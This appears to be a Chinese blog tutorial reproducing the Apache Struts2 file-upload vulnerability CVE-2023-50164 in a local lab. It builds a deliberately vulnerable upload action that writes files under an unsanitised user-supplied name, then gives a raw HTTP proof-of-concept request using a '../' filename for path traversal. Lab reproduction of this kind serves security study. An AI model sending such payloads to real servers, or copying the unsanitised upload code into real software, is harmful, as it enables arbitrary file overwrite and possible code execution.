CVE-2023-50164 Apache Struts2漏洞复现

CVE-2023-50164 简介:

从本质上讲,该漏洞允许攻击者利用 Apache Struts 文件上传系统中的缺陷。它允许他们操纵文件上传参数并执行路径遍历。这种利用可能会导致在服务器上执行任意代码,从而导致各种后果,例如未经授权的数据访问、系统受损,甚至完全控制受影响的系统,包括在系统中放置恶意文件。

仔细一看,CVE-2023-50164涉及Apache Struts的文件上传机制中的一个漏洞。对于非技术受众,想象一下这样一个场景:安全检查点(文件上传机制)由于漏洞而被绕过,从而允许未经授权的访问安全区域(服务器)。从技术角度来看,该漏洞在于 Apache Struts 在文件上传过程中如何处理名为 MultiPartRequestWrapper 的组件。攻击者可以操纵该进程实现路径遍历,从而覆盖任意文件,从而可能导致在服务器上执行任意代码、更改配置等。


一、环境搭建:

  1. 使用IDEA工具新建项目 - 语言和构建系统可以跟着图中选一致就行
    在这里插入图片描述
    在这里插入图片描述
    创建好项目后 -在POM.xml文件中添加依赖项
<dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>6.3.0</version>
</dependency>

在这里插入图片描述
然后新建一个类UploadAction
在这里插入图片描述
在UploadAction文件中添加以下代码

package com.example.demo;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {
   

    private static final long serialVersionUID = 1L;


    private File upload;

    // 文件类型,为name属性值 + ContentType
    private String uploadContentType;

    // 文件名称,为name属性值 + FileName
    private String uploadFileName;

    public File getUpload() {
   
        return upload;
    }

    public void setUpload(File upload) {
   
        this.upload = upload;
    }

    public String getUploadContentType() {
   
        return uploadContentType;
    }

    public void setUploadContentType(String uploadContentType) {
   
        this.uploadContentType = uploadContentType;
    }

    public String getUploadFileName() {
   
        return uploadFileName;
    }

    public void setUploadFileName(String uploadFileName) {
   
        this.uploadFileName = uploadFileName;
    }

    public String doUpload() {
   
        String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
        String realPath = path + File.separator +uploadFileName;
        try {
   
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
   
            e.printStackTrace();
        }
        return SUCCESS;
    }

}


然后在resources文件夹下创建一个struts.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="upload" extends="struts-default">
        <action name="upload" class="com.example.demo.UploadAction" method="doUpload">
            <result name="success" type="">/index.jsp</result>
        </action>
    </package>
</struts>

需要注意的是<action name="upload" class="这里是要对应自己建立的类名一致.UploadAction" method="doUpload"> UploadAction不变

在这里插入图片描述
在打开WEB-INF文件下的web.xml文件将下面代码丢进去

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
     <filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>

</web-app>

然后运行服务大概就这么配置就可以了,如果运行不起来说明代码上或者依赖项是有问题的,在强制更新Maven记得需要保持网络通畅!我们继续把服务运行起来
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


二、POC利用

POST /demo_war_exploded/upload.action HTTP/1.1
Host: localhost
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

验证码的时候POC的Host和路径都是需要我们在IDEA配置的路径一致,要不然复现不成功。在test文件的resources新建一个HTTP请求
在这里插入图片描述
POC丢进去,记得Host要改成你自己配置的还要路径也是
在这里插入图片描述
在这里插入图片描述
成功复现 - 复现的漏洞上传文件可以根据截图找
在这里插入图片描述
参考:
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/#%E7%8E%AF%E5%A2%83

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2023-12-16 05:40:06       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-16 05:40:06       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-16 05:40:06       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-16 05:40:06       18 阅读

热门阅读

  1. 7.3 lambda函数

    2023-12-16 05:40:06       34 阅读
  2. 快速入门HTML

    2023-12-16 05:40:06       31 阅读
  3. Mysql和Oracle的区别

    2023-12-16 05:40:06       32 阅读
  4. 【Rust日报】2023-12-14 Mojo 也要支持生存期

    2023-12-16 05:40:06       38 阅读
  5. QT之QGraphicsProxyWidget

    2023-12-16 05:40:06       30 阅读
  6. Qt图像处理-基于OpenCv的图像二值化处理

    2023-12-16 05:40:06       39 阅读
  7. Error: Required request body is missing:……

    2023-12-16 05:40:06       35 阅读
  8. 【PHP】openssl_encrypt、openssl_decrypt对称加密解密

    2023-12-16 05:40:06       31 阅读
  9. 计算机犯罪与相关法规

    2023-12-16 05:40:06       37 阅读
  10. ctypes --- Python 的外部函数库

    2023-12-16 05:40:06       37 阅读